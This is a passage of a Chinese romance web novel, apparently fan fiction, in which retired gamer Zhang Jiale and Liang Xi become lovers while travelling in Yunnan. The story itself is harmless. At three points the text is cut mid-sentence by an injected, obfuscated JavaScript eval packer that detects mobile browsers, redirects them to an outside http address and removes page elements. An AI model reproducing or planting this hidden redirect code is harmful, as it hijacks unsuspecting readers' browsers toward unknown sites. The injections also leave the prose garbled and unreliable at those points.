张佳乐这么想着,嘴角又忍不住向上弯起。他看着车窗外掠过的、逐渐被暮色吞噬的山影,觉得这次心血来潮的散心之旅,或许是他退役以来,做得最正确的一个决定。 至于未来?风险? 管他呢。他张佳乐什么时候怕过风险?当年在赛场上,哪一次绝地反击不是冒着巨大的风险? 而现在,他好像找到了值得冒一点险去探索的新副本。 16. 别怂 从银杏村回到和顺古镇,已是华灯初上。两人一前一后走在石板路上,昏黄的光打在石板缝隙里的青苔上,两旁的店铺大多已经关门,只剩零星几家餐馆还亮着暖色的灯。远处有狗叫了两声,又安静下去。 晚饭是在客栈解决的,饭菜可口,但对话比平时少。经过下午那场突如其来的亲吻和后续略显古怪的对话,两人之间的气氛终究还是有些不同了。 张佳乐收敛了些许跳脱,偶尔给梁夕夹菜,但不再对着每道菜发表美食评论。梁夕则依旧是那副平静模样,吃得不多,话更少。 饭后,张佳乐没像往常一样赖在公共区域,而是早早说了句“有点累,先回房”,就上楼了。走到楼梯拐角的时候似乎想回头,但最终没有。 梁夕在楼下小坐了片刻,院子里的锦鲤池亮着水下灯,几条红色的锦鲤在光影里缓缓游动,偶尔摆一下尾巴,搅起一小圈涟漪。她靠在藤椅上,手指无意识地摩挲着那个彩线钥匙扣上的小银铃。 她回到房间,洗漱完毕,靠在床头,拿起手机。屏幕上显示着日期。不知不觉,离开S市已经快二十天了。一个月的长假,余额仅剩十余日。 时间比她想象中过得快。或者说,当生活被新鲜的风景、随性的行程和一个意外聒噪又意外合拍的旅伴填满时,那些在城市里缓慢粘稠、度日如年的感觉,似乎被加速了。 她点开订票软件,查询从腾冲返回S市的机票。航班不多,价格不算便宜。她的手指在屏幕上滑动,看着不同的日期和班次,却迟迟没有下单。 窗外传来隐约的吉他声和歌声,大概是隔壁客栈或酒吧有人在弹唱,旋律悠扬,带着点民谣的沧桑。梁夕放下手机,走到窗边,推开木质的窗棂。夜风带着凉意灌入,吹散了房间里暖气的闷浊。歌声听得更清晰了些,唱的是关于远方和故乡。 远方……故乡…… 对她而言,S市是工作的地方,是逃离后的落脚点,却很难称之为家。而那个有父亲、有继母、有……韩文清的城市,更是早已在她心里蒙上了一层不愿触碰的灰烬。 她忽然想起下午躺在那片金色落叶里看到的天空,高远、透亮、安静,和任何一座城市的天都不一样。那时候张佳乐就躺在旁边,近得能听到他的呼吸。他靠过来的时候,她自己也说不清为什么没躲。 ——哪里是远方,哪里又是故乡? 而一墙之隔的张佳乐,远比梁夕纠结。回到房间,他仰躺到床上,把自己摔成一个大字型,长长地呼出一口气。 他亲她了,她没躲。 他抬手摸了摸自己的嘴唇,那个触感还在——很轻、很短暂,像一片银杏叶恰好落在唇上,还没来得及感受就飞走了。但确确实实存在过。 然后是她那一连串的问题——“你对谁都这样吗”“你知道我是谁吗”“知道我是做什么工作的吗” 每一个问题都像一盆冷水,浇在他那个——她没躲,所以可能她也喜欢我——的幻想上。他当时的回答是什么?他说“我觉得是你”。 现在回想起来,这算什么回答?蠢透了。比他在第二赛季总决赛上那个失误还蠢。但那是他当时能想到的唯一真话——不是因为气氛好,不是因为银杏叶好看,是因为她。 换一个人在同样的地方、同样的光线里躺在落叶上,他大概根本不会凑过去。这个念头冒出来的时候,他自己都愣了一下。 他翻了个身,把脸埋进枕头里。明天还要一起去火山公园,之前约好的。她会是什么反应?当没发生过,还是疏远他?甚至——提前走? 如果她当没发生过,他也能当没发生过。他张佳乐最擅长的就是在镜头面前假装什么事都没有,拿了三亚他都能笑着接受采访。如果她疏远他,他就自觉走远点,反正本来也是临时搭伙的旅伴,散了就散了。如果她提前走了——他就当在云南没遇见过这个人。 想到这里,他觉得自己在说大话。他不可能当没发生过,也不可能当没遇见。 这是他第二次亲一个人。上一次是很久以前的事了,已经记不太清。但他知道这次不一样。 因为这次,他怕了。 他怕她不当回事,也怕她太当回事。怕她觉得他是个轻浮的、随便亲人的家伙,也怕她其实一点都不在意。 他盯着天花板翻来覆去想了快一个小时,最后还是拿起了手机。 张佳乐:大孙,问你个事。 孙哲平那边大概正在吃夜宵,消息回得很快。 孙哲平:有话就说,有屁就放。 张佳乐:就是……你亲了一个女生之后,她是没躲,但也没回应,然后还问了你一堆奇怪的问题…你说,她是几个意思? 孙哲平:问什么了? 张佳乐:就,你了解我吗,你知道我是什么人吗——类似这种。 孙哲平:…… 对面又沉默了几秒。 孙哲平:她多大? 张佳乐:不知道。 孙哲平:??? 张佳乐:可能跟我差不多?看着工作几年了。 孙哲平:你连人家几岁都不知道你就亲?? 孙哲平:那你们怎么认识的? 张佳乐:洱海民宿。就……她住我隔壁,我们在院子里喝茶,聊了几句。 孙哲平:…… 张佳乐:然后我邀请她一起去普者黑。 孙哲平:…… 孙哲平:张佳乐,你确定你没被骗? 张佳乐:“没有!我什么都没骗她!我就是……亲了她一下。” 孙哲平:……你睁大你的狗眼给好好看看,老子是问你有没有被她骗! 张佳乐:……没有吧。 孙哲平:旅游认识的,认识没几天,你亲了人家,还什么都没搞明白。还说没被骗?张佳乐,你退役以后是不是脑子也跟着退了? 张佳乐:她不是那种人。 孙哲平:哪种人?你认识她才几天就知道她是哪种人了? 张佳乐被噎了一下,手指悬在屏幕上方,打了一行字又删掉,再打,又删。没等他组织好反击,孙哲平又发了一条: 孙哲平:没看出来,我们乐乐大神还是个恋爱脑。 这话说得甚是嘲讽。张佳乐盯着这几个字,想起梁夕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529154|203660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下午在车上说的话——百花大神有点恋爱脑,风险意识太差。 他手指戳着屏幕,打了一行字又删掉,最后只发出去一句:“……她也这么说。” 孙哲平:说什么? 张佳乐:说我恋爱脑,风险意识差。说她如果就是为了接近我、然后找机会把我卖到缅甸去呢。 对面这次沉默了很久。久到张佳乐以为孙哲平已经切出去干别的了,对话框才跳出新消息。 孙哲平:……这姑娘有点意思。 张佳乐愣了一下,还没来得及回复,孙哲平的新消息就接连进来: 孙哲平:要么是段位高,对你有所图,所以把这些话半真半假说出来,降低你的防备心。 孙哲平:要么—— 孙哲平:她对你可能也有点意思,但没想好,所以不主动、不拒绝、不负责。 孙哲平:你觉得她是哪种? 张佳乐盯着这几行字看了很久。孙哲平这人平时懒得要死,能用一个字回答绝不打两个字,能动手绝不废话,但每次认真分析什么事的时候,准头比他百花式打法还精准。 张佳乐想了想,觉得梁夕不像是有所图——洱海是偶遇,搭讪是他先开的头,同游也是他主动邀请。她从头到尾都是那副淡淡的、不热络也不拒绝的态度。要是真想骗他,这行骗成本也太高了;要说有所图,也太不主动了,他好歹也是职业大神,全明星选手。 “第二种。”他打字,“……可能。” 孙哲平:那你自己想清楚。想继续就追,不想继续就当没发生过。别拖。 张佳乐:怎么追? 孙哲平:我像谈过恋爱的? 张佳乐:你不是谈过吗? 孙哲平:谁跟你说我谈过? 张佳乐:……那你刚才说得那么头头是道! 孙哲平:没吃过猪肉,还没见过猪跑? 张佳乐:……你妹! 对面回了个比中指的表情包,张佳乐气得牙根痒痒,差点把手机摔在被子上。 过了一会儿,孙哲平又发了一条过来: “别怂。” 两个字。没有解释,没有展开,没有战术分析。但张佳乐盯着这两个字,忽然觉得比刚才那堆分析都有用。 他把孙哲平最后那几句话来回看了好几遍——“想继续就追,不想继续就当没发生过。别拖。别怂。” 他想起梁夕从银杏林下山时跟他并肩走、不近不远的样子——靠近一点她也不躲,他慢一点她也没催。想起她问“你就不怕我把你卖到缅甸去”时的表情——不像威胁,更像……试探。 张佳乐把手机扣在胸口。他很想现在就去敲她的门,把下午那些没说完的话说清楚。孙哲平那句“别怂”在他脑子里转了几圈,最后硬是被他生生按住。 明天——明天还要一起去火山公园,约好的。她晚饭时没提取消,应该就是还愿意跟他走。虽然他觉得自己一个人偷溜走也是梁夕能干出来的事儿。 他闭上眼睛,把被子拉过头顶。 张佳乐,别冒冒失失的。 明天,明天再说。 17. 本垒 张佳乐是被手机闹钟吵醒的。 他眯着眼摸到手机,七点半。他设置的闹钟名字是“火山公园!!!”——三个感叹号,昨晚特意改的。他把闹钟按掉,盯着天花板愣了五秒钟,然后一骨碌爬起来。昨晚翻来覆去想到凌晨两三点才睡着,但现在一点都不困。 洗漱的时候他对着镜子多看了自己两眼。头发有点翘,他沾了水压了压,又觉得没必要,反正戴帽子。 到餐厅的时候,梁夕已经坐下了,面前放着豆浆、茶叶蛋和一碟破酥包,手里拿着手机,正在看什么。听到脚步声,抬起头扫了他一眼,说了句“早”。 语气正常,表情正常,和昨天之前没有任何区别。张佳乐松了口气,又有点失落。她好像真的当没发生过。 他也坐下吃早饭。民宿的早餐做得很不错,卖相味道都很好,但他食不知味——心思就不在吃饭上。 去火山公园的路上,两人坐在大巴最后一排。她靠窗,他坐过道,中间空了一个座位。他几次想挪过去,屁股都抬起来了,又坐回去。梁夕一直在看窗外,不知道在想什么。 到了火山公园,倒是一路正常了。爬山、看火山口、捡石头,梁夕偶尔毒舌偶尔还会开玩笑。表面看起来和昨天之前差不多。 回到民宿,吃完饭,各自回房。张佳乐洗了澡,躺在床上,翻来覆去。脑子里全是今天白天的画面——她蹲在火山口边上看风的样子,她说“丑的不要”时皱眉的表情,回程大巴上她睡着时脑袋晃着晃着就朝他歪过来的样子。 昨天晚上的犹豫、焦虑、自我怀疑,在这个白天之后全都沉淀下来,变成了一个很清晰的声音:想见她,就现在。 走廊的灯亮着,她的房门在几步之外。 “叩叩叩。” 轻轻的敲门声打断了梁夕的思绪。 她关上窗,走过去打开门。张佳乐站在门外,已经换上了睡衣,头发还没干透,显然是刚洗完澡。他手里拿着个东西,表情有点不自然。 “那个……还没睡吧?”他问。 “还没。”梁夕让开门口,“有事?” 张佳乐走进来,没往里走,就站在门边的小客厅里,把手里的东西递给她。是一个包装朴素的小铁盒,上面印着腾冲本地一家老字号药店的标识。 “给你的。”张佳乐说,眼神有点飘忽,“这边早晚温差大,容易感冒。这是本地人常用的润喉糖,含着对嗓子好,也能预防一下。我看你下午话说得少,以为你不舒服。” 他顿了顿,又补充,“没病也能吃,当零食。” 梁夕接过那个还有些微凉的小铁盒,打开看了一眼,里面是深褐色的、拇指大小的糖块,散发着淡淡的草药香气。 她合上盖子,抬头看向张佳乐。他站在灯光下,几缕湿发垂在额前,眼神里没了白天的张扬和调侃,只剩下一种小心翼翼。 “谢谢。”梁夕轻声说。 “不客气。”张佳乐似乎松了口气,挠了挠湿发,“那你早点休息。明天……你还想继续在腾冲玩吗?还是……” 他犹豫了一下,还是问了出来:“你假期是不是快到了?” 梁夕没想到他会问这个。她捏了捏手里的小铁盒,棱角硌着掌心。 “还有十来天。”她说。 “哦……”张佳乐点点头,似乎在想什么,“十来天……那还挺充裕的。云南还有很多地方可以逛,西双版纳,香格里拉,雨崩……或者,你想去别的省?广西?四川?” 他列举着,语气里带着点不易察觉的期待,仿佛在规划一场没有尽头的旅程。 “还没想好。”她没有给出明确的答案,但也没有拒绝他关于更多可能性的提议。她其实并不急着回到那个规律的、只有工作的S市去。 张佳乐眼睛更亮了些:“那慢慢想!不着急!反正……我时间多的是。” 最后那句,他说得有些轻,却透着一种无拘无束的自由,以及或许是想继续同行的心照不宣。 “嗯。”梁夕应了一声。 “那……明天见?”张佳乐说,脚步却有点挪不动。 “明天见。” 张佳乐终于转身,走到门口,又回头:“那个糖,记得吃。” “……知道了。” 门轻轻关上,隔绝了走廊的光线。梁夕站在原地,听着门外张佳乐趿拉着拖鞋走远的脚步声,低头看着手里那个还带着他掌心温度的小铁盒。 打开盒子,草药的气息在空气中弥漫开来,不难闻,倒是有种奇怪的安心感。她取出一颗糖放进嘴里,清凉微苦的滋味在舌尖化开,慢慢浸润喉咙。 梁夕走到窗边,重新推开窗,古镇的灯火稀疏,夜风带着更深重的凉意涌入。那颗糖在嘴里慢慢化开,苦涩褪去后,隐约泛起一丝极淡的甘甜。 刚站了没一会儿,身后又传来了轻轻的敲门声。 “叩、叩。” 声音很轻,带着点迟疑。 梁夕转过身,看着那扇刚刚关上的木门,停了片刻,才走过去,再次打开。 张佳乐站在门外,姿势几乎没变,只是脸上的表情更加不自然,耳根在走廊昏暗的灯光下透着明显的红。 “还有什么事儿?”梁夕问,语气听不出什么情绪。 张佳乐张了张嘴,又闭上,像是被自己要说的话卡住了喉咙。 他抓了抓还有些潮湿的头发,眼神飘忽了一瞬,最终像是豁出去般,直直地看向梁夕的眼睛,声音压得很低,带着明显的紧张。 “……我能亲你一下吗?” 走廊里安静得让人心慌。梁夕看着他。他站在那儿,比她高不少,此刻却像个等待老师点评作业的学生——背脊挺直,手指却无意识地蜷缩着,眼神里有期待,有忐忑,还有一丝无法忽略的炽热。 昨天下午在银杏落叶堆里那个突如其来的吻,是气氛使然,带着点梦幻般的冲动。 而现在,在这个清醒的、安静的夜晚,在送完润喉糖、道过晚安之后,他又折返回来,直白地索要一个亲吻。 这不一样。 梁夕没有立刻回答。她静静地看着他,目光从他的眼睛,滑到他紧抿的嘴唇,再到他微微泛红的耳根。嘴里的润喉糖已经彻底化开,只剩下喉咙里一片清凉,和心头一丝难以言喻的、微微发痒的感觉。 时间仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529155|203660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛被拉长了。每一秒,张佳乐眼里的忐忑就增加一分,但他没有移开视线,也没有退缩,就那么固执地、带点可怜巴巴地望着她。 然后,他看见梁夕的唇角微微地勾了一下,目光平静地望进他眼底,声音和平时戳他心窝子那会有些不太一样。 她意味深长的反问:“亲一下,就够了?” “够……够了?”张佳乐愣了下,下意识地重复,脑子有点转不过来。 不够吗?那……? 血液仿佛轰的一声冲上头顶。 大脑似乎还在处理这句话的含义,但他的身体已经先一步替他做出了决定——向前一步,跨进房间,反手关上了身后的门。 “咔哒”一声轻响,隔绝了外面的世界。 房间里只开了一盏床头灯,光线昏黄。两人站在门后的狭小空间里,距离近得能感受到彼此身上散发出的热量和气息——她刚沐浴过的清新,和他头发上未干的水汽,还有那淡淡的、萦绕不散的草药糖的微苦清凉。 张佳乐低下头,目光紧紧锁住梁夕。她的脸在昏黄光线下显得格外柔和,眼神依旧清澈,却不再像平时那样隔着遥远的距离,里面映着他的影子。 他伸手捧住她的脸颊,随即低头吻了上去。 这一次的吻,不再是昨天下午那样轻柔试探。这个吻,急切,滚烫,带着压抑了一整天的渴望。他撬开她的牙关,追逐着她口中尚未散尽的、微苦清凉的甜意,辗转深入,不留余地。 梁夕没躲,甚至在他吻上来时,微微仰起了头。唇舌交缠间,她能清晰地感受到他剧烈的心跳和那份毫无保留的热情。 他的手从她的脸颊滑下,环住了她的腰,将她更紧地拥入怀中。梁夕的手原本垂在身侧,此刻也慢慢地抬起,迟疑了一下,最终轻轻搭在了他的肩上。 这个细微的回应,像是点燃了最后的引线。 张佳乐的吻变得更加炽烈,带着一种近乎贪婪的力道。房间里的温度似乎骤然升高,空气变得粘稠。唇齿间细微的声音和彼此逐渐紊乱的呼吸声交织在一起。 彼此的氧气被掠夺殆尽。张佳乐微微退开一点,但手臂依旧紧紧环着她,额头几乎与她相抵。 他看着近在咫尺的梁夕——脸颊绯红,嘴唇因为刚才的亲吻而愈发红润。眼神里少了几分往日的疏离,多了几分迷蒙的水光,越发显得动人心魄。 “梁夕……”他低声唤她的名字,声音哑得厉害。 梁夕没有应声,只是抬起眼,看着他。她的目光依旧平静,但那平静之下,却有什么东西被点燃了,灼灼发亮。 张佳乐喉结滚动,再次低头。这次,吻落在了她的唇角,然后沿着下颌线,轻轻烙在她的颈侧,留下一片滚烫。 衣物凌乱地散落在地。昏黄的灯光勾勒出两人交叠的身影,在墙壁上投下亲密的剪影。 夜色深沉,古镇沉睡。 这间小小的客栈房间里,有些东西被彻底打破,有些东西被重新定义。 而明天,太阳会照常升起。 只是醒来时,身边会多一个人。 一个可能……会改变很多东西的人。 18. 聊天 晨光熹微,透过木格窗棂的缝隙,在房间地板上投下斑驳的光影。 梁夕先醒的。意识回笼的瞬间,身体的感知先于视觉苏醒——身侧是另一个人的体温,手臂横亘在她腰间,沉甸甸的,带着不容忽视的存在感。背后紧贴着一具温暖结实的躯体,均匀的呼吸拂过她的后颈,微微发痒。 昨夜混乱而炽热的画面碎片般涌入脑海,唇上的触感,皮肤的烫热,交缠的呼吸,还有最后相拥而眠时,张佳乐贴在她耳边那句含糊却执拗的“别走”。 她没动,睁眼看着天花板上木质的纹理,心里是一片奇异的平静。没就像一场积蓄已久的风暴终于落下,天地间反而只剩下一片湿漉漉的安宁。 身后的人动了一下,手臂收得更紧了些,鼻尖在她颈后蹭了蹭,发出一声含糊的咕哝,像是还没完全醒来。 梁夕依然没动。 又过了一会儿,张佳乐的呼吸节奏变了。他似乎是彻底醒了,身体明显僵硬了一瞬,然后,横在她腰间的手臂小心翼翼地松开了少许。 沉默在晨光中弥漫,带着某种心照不宣的微妙张力。 终于,张佳乐的声音在身后响起:“……梁夕?” “嗯。”她应了一声,声音平静。 “……早。”他干巴巴地说。 “早。” 又是一阵沉默。张佳乐似乎不知道接下来该说什么,做什么。他既不敢再收紧手臂,也不好意思完全松开,就那么虚虚地环着,身体僵着。 梁夕在心里无声地叹了口气。她慢慢转过身,面向他。 张佳乐显然没料到她会突然转身,措手不及地对上她的视线。 他头发睡得乱糟糟的,有几缕翘着,脸上还带着枕头的压痕,眼睛因为初醒和紧张而显得格外清亮,直直地看着她。 两人在极近的距离对视着。晨光勾勒出彼此的轮廓,空气里漂浮着细微的尘埃。 “看什么?”梁夕先开了口。 张佳乐喉结滚动了一下,憋出一句:“……你好看。” “所以,是因为我好看?” “……不是不是,不是因为你好看。”他连忙解释,但这话说出口后,他自己也愣了下。 “哦,那是因为什么?” 梁夕说这话的时候唇角微微弯着,但那个语气——张佳乐分辨不出来到底是不是嘲讽。 要说不是因为她好看,那也太假了。当然是因为她好看。两个陌生人,第一印象总归是被皮囊吸引,样子、气质。 “……也是因为你好看,”张佳乐决定实话实说,“但不只是因为好看。你——” 他张了张嘴,忽然不知道该说什么。 说她独立、善良、性格好?按梁夕的说法,他们才认识多久,就旅途一起走了这么几天,他就能知道她独立善良性格好了? 而且性格好这词……怎么看怎么跟梁夕不沾边,不是说她不好,但她绝对不是那种普适意义上的性格好。有个性倒是真的。 更何况,张佳乐问了自己一句:你真的是因为她独立善良性格好喜欢她的吗? 显然不是。 最开始吸引他的是她身上那种跟他有点像的气质。明明人坐在这里,但总有一种挥之不去的落寞感和孤独感。仿佛跟周围有种结界。 后来—— 后来他就更说不上来了,主动搭话、邀请同行,好像都是大脑直接给的指令,没深思熟虑过。潜意识里就觉得,这个人很舒服,想靠近。 再后来就变成想触碰,变成银杏林里那个吻,变成昨晚的去而复返,变成下意识跨进门的那一步。 张佳乐嘴唇动了又动,最后放弃了解释。 “……我说不上来,就是想离你近一点。”他的眼神闪避了一下,落在她肩上,“我觉得…我喜欢你。” 梁夕没接这个话茬,但嘴角的弧度似乎变了一点。 “几点了?”她问,声音平静。 “啊?哦!”张佳乐连忙伸手去摸床头柜上的手机,动作间不可避免地又贴近了些。他看了一眼屏幕,“八点……多。” “嗯。”梁夕应了一声,然后掀开被子,坐起身。凉意瞬间侵袭暴露在外的皮肤,她微微瑟缩了一下。 张佳乐几乎是立刻也跟着坐起来,下意识地拉过被子想往她身上盖,手伸到一半又顿住,有些无措。 梁夕没看他,径直下床,走向浴室。她的背影挺直,步态如常,只是长发有些凌乱地披散在肩头。 浴室门关上,里面传来水龙头打开的声音。 张佳乐独自坐在床上,怀里抱着还带着两人体温的被子,有些发愣。昨晚的一切都真实得不像是梦,但此刻清晨的冷静和梁夕过于平静的反应,又让他心里有些没底。 他说了喜欢,但她没有任何反应。 是他刚才说的有问题,让她觉得他只是因为她外表好看?但他确实说不上来那种感觉,他就是被她吸引,他的大脑、激素,都在推着他朝她走。他不知道该怎么解释。 她没反应,是因为她后悔了?还是说,对她而言,昨晚只是一场旅途中的……意外?不值得她有什么额外的反应? 这个念头让张佳乐心里猛地一沉。 他在床上呆坐了几分钟,听着浴室里隐约的水声,终于也爬起来,胡乱套上衣服,走到窗边,推开窗户。清冷的晨风扑面而来,带着古镇特有的雾气和炊烟的气息,让他混乱的头脑稍微清醒了一些。 他看着楼下石板路上早起忙碌的居民,心里那点忐忑却挥之不去。 浴室门再次打开,梁夕走了出来。她已经洗漱完毕,头发用毛巾包着,脸上带着水汽,看起来清爽又……疏离。 她看了站在窗边的张佳乐一眼,没说什么,走到自己的行李边,开始整理东西。 张佳乐转过身,看着她有条不紊的动作,终于忍不住,走到她身后,声音有些发紧:“梁夕……” 梁夕停下动作,转过身抬眼看他,等着他往下说。 “昨晚……”张佳乐舔了舔有些干的嘴唇,“我……我不是……” 他想说他不是一时冲动,不是随便玩玩,但话到嘴边,又觉得在这样清醒的早晨,说这些似乎太过郑重,也可能会给她压力。 梁夕等了几秒,见他卡壳,微微偏了下头:“不是什么?” 张佳乐看着她平静无波的脸,忽然有种拳头打在棉花上的无力感。他深吸一口气,干脆破罐子破摔,直接问:“你……你现在怎么想?” “什么怎么想?”梁夕反问。 “就是……我们。”张佳乐指了指自己,又指了指她,“昨晚……之后。” 梁夕沉默地看着他,看了好几秒,直看得张佳乐心里越发没底。然后,她轻轻扯了一下嘴角,笑容很淡,却让她整张脸都柔和了一瞬。 “百花大神,”她开口,语气里带着他熟悉的调侃,“睡醒了,开始复盘战局,评估风险和收益了?” “我不是那个意思!”张佳乐被她说得一愣,“我就是……怕你后悔。” “后悔什么?”梁夕转过身,继续整理行李,“昨晚是我让你进来的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529156|203660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张佳乐的心因为这句话,好像终于落回了心窝里,随即又被一种更汹涌的情绪涨满。他上前一步,从背后轻轻抱住了她。 “梁夕……”他低声唤她,手臂收紧,“你别吓我。” 梁夕的身体在他怀里微微僵了一下,但并没有推开,任由他抱着。 “我没吓你。”她轻声说,“只是觉得,有些事情,发生了就是发生了,没必要想太多。” 张佳乐明白她的意思。不是后悔,但也不喜欢预设未来。但至少此刻,她在他怀里,没有推开。 “那……”张佳乐松开她一些,转到她面前,眼睛亮晶晶地看着她,“我们今天还在腾冲玩吗?还是你想去下一站?” 梁夕看着他瞬间恢复活力的样子,有些无奈,又有点想笑。 “随便。” “那就在古镇在呆一天!”张佳乐立刻决定,“还可以去北海湿地逛逛,跟普者黑的不一样……” 梁夕听着他絮絮叨叨的安排,继续整理着自己的东西,嘴角那抹极淡的笑意,一直没有完全消失。 一天玩下来,回来已是傍晚。晚餐依旧在客栈解决,气氛比前一天晚上自然了许多。张佳乐眉飞色舞地讲着今天的见闻,吐槽某个指示牌不清不楚害他们走了冤枉路。 晚饭后,张佳乐没像昨晚那样早早回房,也没提其他安排,就是很自然地跟着梁夕上了楼,走到她房间门口。 梁夕拿出房卡开门,张佳乐也极其自然地侧身跟了进来,还反手带上了门。 她转过身,靠在玄关的柜子边,抱起手臂,好整以暇地看着他:“有事?” 张佳乐被她看得有点不好意思,摸了摸鼻子,但脸上笑容不减,理直气壮地说:“没什么事啊,就是……聊聊?” “聊什么?”梁夕挑眉,“聊湿地里那只被你拍了十七八张都没拍清楚品种的鸟?” 张佳乐被噎了一下,随即耍赖:“聊什么都行!旅途见闻,人生理想,或者……就坐着发呆也行。” 他边说边往里走,很自觉地坐到了小客厅里那张沙发上,还拍了拍旁边的位置,“来,坐。” 那架势,俨然是把自己当成了房间的半个主人。 梁夕看着他这幅无赖样,心里有点好笑,也没赶他,走过去在另一张椅子上坐下,和他隔着一个小茶几。 张佳乐也不在意,给自己倒了杯水,又很顺手地给梁夕也倒了一杯,推过去。然后他就真的开始“聊”,从天南地北的八卦,到他以前在战队里的一些趣事糗事,再到他对接下来行程的新想法。 时间不知不觉流逝。窗外的古镇彻底安静下来。 张佳乐的话渐渐少了,他不再找话题,只是靠在沙发里,静静地看着坐在对面的梁夕。她微微垂着眼,手里无意识地转着那个装着润喉糖的小铁盒,侧脸在灯光下显得格外柔和。 气氛安静得有些暧昧。 “梁夕。”张佳乐忽然轻声叫她。 “嗯?”梁夕抬起头。 张佳乐没说话,只是看着她,眼神在昏黄的光线下显得格外深邃专注,像是一种无声的邀请。 梁夕和他对视了几秒,没有移开目光。然后她放下手里的小铁盒,站起身,走到他面前俯下身,双手撑在沙发扶手上,将他困在自己和沙发之间。 这个姿势让她带着一种难得的、主动的压迫感。他仰头看她,呼吸微微屏住。 “张佳乐。” “嗯?” “想留下就直说。”她的目光扫过他的嘴唇,又回到他眼睛,“别找那么多借口。” 19.离别 张佳乐理直气壮地赖在了这里。 身体的记忆是诚实的,尽管时隔三年多,某些下意识的紧绷在所难免,但很快便被更汹涌的浪潮覆盖和淹没。呼吸相融,热烈旖旎,将旅途的疲惫和所有未尽的言语都暂时抛却。 清晨再次在相拥中醒来,这一次,少了那些试探和忐忑。张佳乐手臂收得理所当然,梁夕也没有推开,只是在他无意识的蹭动中,皱了皱眉,含糊地说了句:“别动,困。” 张佳乐立刻老实了,把人搂得更紧了些,嘴角的笑意压都压不住。 早餐时,张佳乐神采飞扬,给梁夕夹菜添粥,殷勤得过分。 “今天什么安排?”张佳乐问,眼睛亮晶晶的,“出发去下一站?香格里拉怎么样?听说秋天的普达措特别美,像仙境!就是海拔高,可能会有点冷……” “可以。”梁夕没什么意见。对她而言,目的地似乎越来越不重要了,重要的是这种在路上的、不断变化的感觉。 “那行,我看看车票和住宿!”张佳乐立刻掏出手机,手指飞快地操作着,订票,订房,一气呵成。订到住宿时,他顿了顿,抬头飞快地瞄了梁夕一眼,见她正安静地吃着东西,没什么特别反应,手指一滑,毫不犹豫地只订了一间房——观景大床房。 订完,他若无其事地把手机屏幕递过去一点:“喏,下午的车,晚上到。住宿也搞定了,这家客栈评分很高,就在独克宗古城边上。” 梁夕瞥了一眼屏幕上的订单信息,看眼神顿了顿,没说什么,只是轻轻“嗯”了一声。 张佳乐心里乐开了花,脸上还得强装镇定。他喝了口水努力压了压,只是没什么用,几秒故作平静之后,言语间眼角眉梢又带上了笑意。 下午,他们告别了和顺古镇,踏上了前往香格里拉的大巴。腾冲到香格里拉距离有些远,要先到保山,再换高铁。车程更长,路也更加蜿蜒。海拔逐渐升高,窗外的景色从温润的田园变成了苍茫的草甸和连绵的雪山,连天空都显得格外高远了些。 快到香格里拉的时候,梁夕有些轻微的高原反应,开始昏昏欲睡。张佳乐注意到坐在她身边,让她靠着自己睡得更舒服些,又时不时查看她的状态,递水递糖。 “不舒服就说,别硬撑。”他低声嘱咐。 “没事,就是有点困。”梁夕靠着他,闭着眼,声音有些含糊。他身上的气息和稳定的体温,在这种不适的时刻,成了奇异的安抚剂。 抵达香格里拉时,夜幕已然低垂。高原的夜风格外凛冽刺骨,空气清冷干燥,吸入肺里带着一股明显的稀薄感。 梁夕一下车就觉得太阳穴隐隐发胀,呼吸也比平时急促了些,是轻微高反的典型症状。 张佳乐状态倒是还好。他一手拖着两人的行李,另一只手很自然地虚扶在梁夕背后,护着她穿过寒风走进客栈。 客栈老板是本地人,很有经验,一看梁夕的样子就提醒:“刚到别急着洗澡洗头,容易加重高反,也怕感冒。早点休息,多喝热水。” 房间果然不错,宽敞温暖,有一扇巨大的窗户,正对着沉寂的古城和远处的雪山,可惜夜里看不清外面的景色。 车程太长,梁夕累得够呛,加上高反带来的不适,也没什么胃口。两人就在客栈餐厅喝了点热粥,随便配了两碟清淡小菜。 回到房间,暖气很足,很快驱散了身上的寒意。梁夕坐在床边,感觉头痛似乎加剧了,眉头不自觉地蹙着。 张佳乐先去烧了壶热水,然后走到梁夕面前,蹲下身,摸了摸她的额头:“难受得厉害?头疼?” “嗯,有点。”梁夕没逞强,声音有些无力。 “躺下歇着。”张佳乐扶着她躺好,又拿过枕头给她垫好,然后把兑得温热的水递到她嘴边,“慢点喝。” 梁夕就着他的手喝了几口,温热的水流进喉咙,稍微舒服了一点。 张佳乐很自然地开始整理两人的行李,把厚衣服拿出来挂好。梁夕看着他的背影,忽然有种奇异的感觉——仿佛他们不是才认识几天的旅伴,而是已经在一起生活了很久。 